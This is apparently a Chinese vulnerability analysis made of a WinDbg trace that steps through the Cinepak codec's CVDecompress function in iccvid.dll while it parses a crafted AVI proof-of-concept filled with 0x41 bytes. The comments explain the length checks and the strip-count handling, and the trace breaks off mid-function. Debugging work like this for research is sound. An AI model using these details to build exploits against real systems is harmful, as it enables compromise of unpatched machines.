WARNING: Stack unwind information not available. Following frames may be wrong.
01c8e95c 7c80aefc 01c8e988 00000000 00000000 kernel32!LoadLibraryExW+0xc8
01c8e970 76b13384 01c8e988 7c9210e0 76b30160 kernel32!LoadLibraryW+0x11
.......
0:010> lm v m iccvid
start end module name
73b70000 73b87000 iccvid (deferred) ; iccvid.dll加载基址
Image path: C:\WINDOWS\system32\iccvid.dll
Image name: iccvid.dll
Timestamp: Mon Apr 14 10:12:25 2008 (4802BD89)
CheckSum: 000219FF
ImageSize: 00017000
File version: 1.10.0.12
Product version: 1.10.0.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 3.8 Driver
File date: 00000000.00000000
Translations: 0409.04e4
CompanyName: Radius Inc.
ProductName: Cinepak for Windows 32
InternalName: iccvid
OriginalFilename: iccvid.drv
ProductVersion: 1.10.0.0
FileVersion: 1.10.0.11
FileDescription: Cinepak® Codec
LegalCopyright: Copyright © 1992-1995 Radius Inc., All Rights Reserved
LegalTrademarks: Cinepak® is a trademark of Radius Inc.

  通过“lm v m iccvid”命令,我们可以看到iccvid.dll已经被加载,这时可以对位于地址0x73b7cbee处的调用CVDecompress函数的指令下断点,然后观察传入CVDecompress函数的参数,以及分析函数功能,分析结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
0:010> bp 73b7cbee                                                              ; [73b7cbee call iccvid!CVDecompress (73b721ae)]
0:010> bl
0 e 73b7cbee 0001 (0001) 0:**** iccvid!Decompress+0x118
0:010> g
Breakpoint 0 hit
eax=00000001 ebx=025afd88 ecx=0005e2c0 edx=fffffee0 esi=00127e40 edi=02310050
eip=73b7cbee esp=025afd38 ebp=025afd60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!Decompress+0x118:
73b7cbee e8bb55ffff call iccvid!CVDecompress (73b721ae)
0:013> t
eax=00000001 ebx=025afd88 ecx=0005e2c0 edx=fffffee0 esi=00127e40 edi=02310050
eip=73b721ae esp=025afd34 ebp=025afd60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress:
73b721ae 8bff mov edi,edi
0:013> p
eax=00000001 ebx=025afd88 ecx=0005e2c0 edx=fffffee0 esi=00127e40 edi=02310050
eip=73b721b0 esp=025afd34 ebp=025afd60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x2:
73b721b0 55 push ebp
0:013>
eax=00000001 ebx=025afd88 ecx=0005e2c0 edx=fffffee0 esi=00127e40 edi=02310050
eip=73b721b1 esp=025afd30 ebp=025afd60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x3:
73b721b1 8bec mov ebp,esp
0:013> p
eax=00000001 ebx=025afd88 ecx=0005e2c0 edx=fffffee0 esi=00127e40 edi=02310050
eip=73b721b3 esp=025afd30 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x5:
73b721b3 83ec20 sub esp,20h
0:013> p
eax=00000001 ebx=025afd88 ecx=0005e2c0 edx=fffffee0 esi=00127e40 edi=02310050
eip=73b721b6 esp=025afd10 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x8:
73b721b6 53 push ebx
0:013> p
eax=00000001 ebx=025afd88 ecx=0005e2c0 edx=fffffee0 esi=00127e40 edi=02310050
eip=73b721b7 esp=025afd0c ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x9:
73b721b7 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:025afd38=001535b0 ; ebx = a1 = 0x001535b0
0:013> p
eax=00000001 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00127e40 edi=02310050
eip=73b721ba esp=025afd0c ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xc:
73b721ba 56 push esi
0:013> p
eax=00000001 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00127e40 edi=02310050
eip=73b721bb esp=025afd08 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0xd:
73b721bb 8b7324 mov esi,dword ptr [ebx+24h] ds:0023:001535d4=00000000 ; esi = [0x001535b0+0x24] = 0x00000000
0:013> p
eax=00000001 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00000000 edi=02310050
eip=73b721be esp=025afd08 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x10:
73b721be 57 push edi
0:013> p
eax=00000001 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00000000 edi=02310050
eip=73b721bf esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x11:
73b721bf 33ff xor edi,edi ; edi = 0x00000000
0:013> p
eax=00000001 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00000000 edi=00000000
eip=73b721c1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x13:
73b721c1 3bf7 cmp esi,edi ; 判断esi是否为0
0:013> p
eax=00000001 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00000000 edi=00000000
eip=73b721c3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x15:
73b721c3 741c je iccvid!CVDecompress+0x33 (73b721e1) [br=1] ; 为0则跳转,这里跳转
0:013> p
eax=00000001 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00000000 edi=00000000
eip=73b721e1 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x33:
73b721e1 33c0 xor eax,eax ; eax = eax^eax = 0x00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00000000 edi=00000000
eip=73b721e3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x35:
73b721e3 837d1020 cmp dword ptr [ebp+10h],20h ss:0023:025afd40=00000068 ; 判断a3是否小于0x20,a3为“idx1”索引块中读出的数据块的数据长度,与CVID数据长度应相等
0:013> p
eax=00000000 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00000000 edi=00000000
eip=73b721e7 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x39:
73b721e7 0f8200020000 jb iccvid!CVDecompress+0x23f (73b723ed) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=00000000 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00000000 edi=00000000
eip=73b721ed esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x3f:
73b721ed 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:025afd3c=00ba68f8 ; esi = a2 = 0x00ba68f8,指向cinepak_codec_data1
0:011> dd 00ba6af8
00ba6af8 68000000 20016001 00101000 00001000
00ba6b08 60000000 00206001 00110000 41411000
00ba6b18 41414141 41414141 00114141 41411000
00ba6b28 41414141 41414141 00114141 41411000
00ba6b38 41414141 41414141 00114141 00411000
00ba6b48 31786469 00000010 63643030 00000010
00ba6b58 00000004 00000068 00000000 00000000
00ba6b68 00000000 00000000 00000000 00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b721f0 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x42:
73b721f0 8a6601 mov ah,byte ptr [esi+1] ds:0023:00ba68f9=00 ; ah = 0x00,CVID数据长度的第3个字节
0:013> p
eax=00000000 ebx=001535b0 ecx=0005e2c0 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b721f3 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x45:
73b721f3 0fb64e03 movzx ecx,byte ptr [esi+3] ds:0023:00ba68fb=68 ; ecx = 0x00000068,CVID数据长度的第1个字节
0:013> p
eax=00000000 ebx=001535b0 ecx=00000068 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b721f7 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x49:
73b721f7 8a4602 mov al,byte ptr [esi+2] ds:0023:00ba68fa=00 ; al = 0x00,CVID数据长度的第2个字节
0:013> p
eax=00000000 ebx=001535b0 ecx=00000068 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b721fa esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
iccvid!CVDecompress+0x4c:
73b721fa c1e008 shl eax,8 ; eax = 0x00000000,左移8位
0:013> p
eax=00000000 ebx=001535b0 ecx=00000068 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b721fd esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x4f:
73b721fd 0bc1 or eax,ecx ; 以大端读取CVID数据长度(Length of CVID data)
0:013> p
eax=00000068 ebx=001535b0 ecx=00000068 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b721ff esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x51:
73b721ff 394510 cmp dword ptr [ebp+10h],eax ss:0023:025afd40=00000068 ; a3为从“idx1”索引块中读出的数据块的数据长度,eax为从对应的数据块中读出的数据长度,这里判断它们是否相同
0:013> p
eax=00000068 ebx=001535b0 ecx=00000068 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b72202 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x54:
73b72202 0f8cec010000 jl iccvid!CVDecompress+0x246 (73b723f4) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=00000068 ebx=001535b0 ecx=00000068 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b72208 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x5a:
73b72208 8a0e mov cl,byte ptr [esi] ds:0023:00ba68f8=00 ; cl = 0x00,Flags(Frame Header)
0:013> p
eax=00000068 ebx=001535b0 ecx=00000000 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b7220a esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x5c:
73b7220a 884d13 mov byte ptr [ebp+13h],cl ss:0023:025afd43=00 ; a3的最高字节,a3为“idx1”索引块中读出的数据块的数据长度,Length of CVID data
0:013> p
eax=00000068 ebx=001535b0 ecx=00000000 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b7220d esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x5f:
73b7220d 8d4df0 lea ecx,[ebp-10h]
0:013> p
eax=00000068 ebx=001535b0 ecx=025afd20 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b72210 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x62:
73b72210 51 push ecx ; arg3 = ecx = 0x025afd20,用于保存减去Frame Header的大小后,剩余的数据大小
0:013> p
eax=00000068 ebx=001535b0 ecx=025afd20 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b72211 esp=025afd00 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x63:
73b72211 6a0a push 0Ah ; arg2 = 0xA,Frame Header的大小
0:013> p
eax=00000068 ebx=001535b0 ecx=025afd20 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b72213 esp=025afcfc ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x65:
73b72213 50 push eax ; arg1 = 0x00000068,CVID数据长度
0:013> p
eax=00000068 ebx=001535b0 ecx=025afd20 edx=fffffee0 esi=00ba68f8 edi=00000000
eip=73b72214 esp=025afcf8 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x66:
73b72214 e86dffffff call iccvid!ULongSub (73b72186) ; 如果arg1>=arg2,则返回0,且计算出减去Frame Header的大小后,剩余的数据大小,否则返回一个负数
0:013> p
eax=00000000 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba68f8 edi=00000000
eip=73b72219 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x6b:
73b72219 85c0 test eax,eax ; eax = 0x0
0:013> p
eax=00000000 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba68f8 edi=00000000
eip=73b7221b esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x6d:
73b7221b 0f8cd3010000 jl iccvid!CVDecompress+0x246 (73b723f4) [br=0] ; 小于则跳转,这里不跳转
0:013> p
eax=00000000 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba68f8 edi=00000000
eip=73b72221 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x73:
73b72221 33c0 xor eax,eax ; eax = eax^eax = 0x00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba68f8 edi=00000000
eip=73b72223 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x75:
73b72223 8a6608 mov ah,byte ptr [esi+8] ds:0023:00ba6900=00 ; ah = 0x00,Number of coded strips的高位字节
0:013> p
eax=00000000 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba68f8 edi=00000000
eip=73b72226 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x78:
73b72226 83c60a add esi,0Ah ; esi = 0x00ba6902,指向cinepak_codec_data2
0:011> dd 00ba6902
00ba6902 10000010 00000000 60016000 00000020
00ba6912 10000011 41414141 41414141 41414141
00ba6922 10000011 41414141 41414141 41414141
00ba6932 10000011 41414141 41414141 41414141
00ba6942 10000011 64690041 00103178 30300000
00ba6952 00106364 00040000 00680000 00000000
00ba6962 00000000 00000000 00000000 00000000
00ba6972 00000000 00000000 00000000 00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b72229 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
iccvid!CVDecompress+0x7b:
73b72229 897dec mov dword ptr [ebp-14h],edi ss:0023:025afd1c=0236f648 ; edi = 0x00000000
0:013> p
eax=00000000 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b7222c esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
iccvid!CVDecompress+0x7e:
73b7222c 8975e8 mov dword ptr [ebp-18h],esi ss:0023:025afd18=00000120 ; [ebp-18h] = esi = 0x00ba6902,指向cinepak_codec_data2
0:013> p
eax=00000000 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b7222f esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
iccvid!CVDecompress+0x81:
73b7222f 8975f4 mov dword ptr [ebp-0Ch],esi ss:0023:025afd24=00000004 ; [ebp-0Ch] = esi = 0x00ba6902,指向cinepak_codec_data2
0:013> p
eax=00000000 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b72232 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
iccvid!CVDecompress+0x84:
73b72232 8a46ff mov al,byte ptr [esi-1] ds:0023:00ba6901=10 ; al = 0x10,Number of coded strips的低位字节
0:013> dd 00ba6902
00ba6902 10000010 00000000 60016000 00000020
00ba6912 10000011 41414141 41414141 41414141
00ba6922 10000011 41414141 41414141 41414141
00ba6932 10000011 41414141 41414141 41414141
00ba6942 10000011 64690041 00103178 30300000
00ba6952 00106364 00040000 00680000 00000000
00ba6962 00000000 00000000 00000000 00000000
00ba6972 00000000 00000000 00000000 00000000
0:013> p
eax=00000010 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b72235 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
iccvid!CVDecompress+0x87:
73b72235 3bc7 cmp eax,edi ; 判断Number of coded strips是否大于0
0:013> p
eax=00000010 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b72237 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x89:
73b72237 8945e4 mov dword ptr [ebp-1Ch],eax ss:0023:025afd14=00000001 ; [ebp-1Ch] = eax = 0x10,Number of coded strips
0:013> p
eax=00000010 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b7223a esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x8c:
73b7223a 0f8eaa010000 jle iccvid!CVDecompress+0x23c (73b723ea) [br=0] ; 小于等于则跳转,这里不跳转
0:013> p
eax=00000010 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b72240 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x92:
73b72240 897dfc mov dword ptr [ebp-4],edi ss:0023:025afd2c=00000150 ; 局部变量[ebp-4]赋值为0,堆缓冲区指针偏移

----------------------------------------------------------------------------------------------------------------------------

0:013> p
eax=00000010 ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b72243 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x95:
73b72243 8b45f0 mov eax,dword ptr [ebp-10h] ss:0023:025afd20=0000005e ; 未解压缩的数据长度,开始时等于PoC中cinepak_codec_data2和idx_tag字节数之和
0:013> p
eax=0000005e ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b72246 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
iccvid!CVDecompress+0x98:
73b72246 83f816 cmp eax,16h ; 判断未解压的数据长度是否小于0x16,
0:013> p
eax=0000005e ebx=001535b0 ecx=0000005e edx=025afd20 esi=00ba6902 edi=00000000
eip=73b72249 esp=025afd04 ebp=025afd30 iopl=0 nv up ei pl nz na pe nc
